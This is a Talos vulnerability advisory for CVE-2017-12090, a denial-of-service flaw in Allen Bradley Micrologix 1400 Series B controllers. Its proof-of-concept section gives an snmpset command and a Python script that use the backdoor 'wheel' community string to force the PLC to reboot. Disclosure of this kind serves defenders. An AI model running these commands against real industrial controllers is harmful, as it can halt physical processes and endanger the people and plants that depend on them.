Talos Vulnerability Report

TALOS-2017-0442

Allen Bradley Micrologix 1400 Series B SNMP-Set Processing Incorrect Behavior Order Denial of Service Vulnerability

March 28, 2018
CVE Number

CVE-2017-12090

Summary

An exploitable denial of service vulnerability exists in the processing of snmp-set commands of the Allen Bradley Micrologix 1400 Series B FRN 21.2 and below. A specially crafted snmp-set request, when sent without associated firmware flashing snmp-set commands, can cause a device power cycle resulting in downtime for the device. An attacker can send one packet to trigger this vulnerability.

Tested Versions

Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15

Product URLs

http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400

CVSSv3 Score

7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-696: Incorrect Behavior Order

Details

During a firmware update, the SNMP OID .1.3.6.1.4.1.95.2.3.1.1.1.1.0 gets set to the integer 2 right before the device reboots and enters the flashing state. If only this SNMP request is sent, the device will still perform a reboot without attempting to perform any flashing operations.

Firmware versions 16.2 and below support this functionality with both SNMPv1 and SNMPv2c, however as of firmware version 21.0 it is only supported in SNMPv1.

While this vulnerability requires a priviliged SNMP community string to exploit, it is possible to use the backdoor priviliged string 'wheel' disclosed in CVE-2016-5645 (TALOS-2016-0184) to perform the snmp-set operation even if the 'private' string has been changed.

Exploit Proof-of-Concept

Set the OID value to 2 using snmpset

snmpset -c wheel -v 1 <ip> .1.3.6.1.4.1.95.2.3.1.1.1.1.0 i 2

Where is the ip address of the device

Additionally, the following script can be used to trigger the condition. The process is the same for both PoCs.

Usage: python .py -i [-p ] [-c ] Where the elements are as follows:

- <filename>   :  whatever name you give the script
- <ip_addr>    :  ip address of the plc
- <port>       :  SNMP port (defaults to 161)
- <community>  :  the community string to use (defaults to 'wheel')

import argparse
import socket
import binascii
import random
import crcmod.predefined

parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ipaddr", help="PLC ip address", type=str)
parser.add_argument("-p", "--port", help="target port", default=161, type=int)
parser.add_argument("-c", "--community", help="community string", default="wheel", type=str)
args = parser.parse_args()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
plc_host = args.ipaddr
port = args.port
comm_str = args.community

def pad_hex(hex_str, size):
    if "0x" in hex_str: hex_str = "".join(hex_str.split("0x"))
    if len(hex_str) != size:
        numzeros = size - len(hex_str) 
        zeros = "0"*numzeros
        hex_str = "%s%s" % (zeros, hex_str)
    return hex_str

def build_snmp_instruction():
    length_len = 1
    series_tag = "\x30"
    series_len = "\x30"
    version_tag = "\x02"
    version = "\x01"
    version_len = len(version)
    comm_str_tag ="\x04"
    comm_str_len = len(comm_str)
    set_request_pdu_tag ="\xa3"
    req_id_tag = "\x02"
    req_id = "\x7c\xb5\x9d\xb7"
    req_id_len = len(req_id)
    err_status_tag = "\x02"
    err_status  ="\x00"
    err_status_len = len(err_status)
    err_index_tag ="\x02"
    err_index ="\x00"
    err_index_len = len(err_index)
    sub_series_tag ="\x30"
    obj_tag = "\x30"
    obj_name_tag ="\x06"
    obj_name = ""
    obj_value_tag = ""
    obj_value = ""
    obj_name = "\x2b\x06\x01\x04\x01\x5f\x02\x03\x01\x01\x01\x01\x00"
    obj_value_tag = "\x02"
    obj_value = "\x02"
    obj_name_len = len(obj_name)
    obj_value_len = len(obj_value)
    obj_len = len(obj_tag) + length_len + obj_name_len + len(obj_value_tag) + len(obj_value) + length_len
    sub_series_len = len(obj_tag) + length_len + len(obj_name_tag) + len(obj_name) + length_len + len(obj_value_tag) + len(obj_value) + length_len
    set_request_pdu_len = len(req_id_tag) + len(req_id) + length_len + len(err_status_tag) + len(err_status) + length_len + len(err_index_tag) + len(err_index) + length_len + len(sub_series_tag) + length_len + sub_series_len
    series_len = len(version_tag) + len(version) + length_len + len(comm_str_tag) + len(comm_str) + length_len + len(set_request_pdu_tag) + length_len + set_request_pdu_len
    version_len = binascii.unhexlify(pad_hex(hex(version_len)[2:],2))
    comm_str_len = binascii.unhexlify(pad_hex(hex(comm_str_len)[2:],2))
    req_id_len = binascii.unhexlify(pad_hex(hex(req_id_len)[2:],2))
    err_status_len = binascii.unhexlify(pad_hex(hex(err_status_len)[2:],2))
    err_index_len = binascii.unhexlify(pad_hex(hex(err_index_len)[2:],2))
    obj_len = binascii.unhexlify(pad_hex(hex(obj_len)[2:],2))
    obj_name_len = binascii.unhexlify(pad_hex(hex(obj_name_len)[2:],2))
    obj_value_len = binascii.unhexlify(pad_hex(hex(obj_value_len)[2:],2))
    sub_series_len = binascii.unhexlify(pad_hex(hex(sub_series_len)[2:],2))
    set_request_pdu_len = binascii.unhexlify(pad_hex(hex(set_request_pdu_len)[2:],2))
    series_len = binascii.unhexlify(pad_hex(hex(series_len)[2:],2))
    packet = series_tag + series_len + version_tag + version_len + version + comm_str_tag + comm_str_len + comm_str + set_request_pdu_tag + set_request_pdu_len + req_id_tag + req_id_len + req_id + err_status_tag + err_status_len + err_status + err_index_tag + err_index_len + err_index + sub_series_tag + sub_series_len + obj_tag + obj_len + obj_name_tag + obj_name_len + obj_name + obj_value_tag + obj_value_len + obj_value
    return packet

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((plc_host, port))
sock.send(build_snmp_instruction())
sock.shutdown(socket.SHUT_RDWR)
sock.close()

Timeline

2017-09-22 - Vendor Disclosure
2018-03-28 - Public Release

Credit

Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos.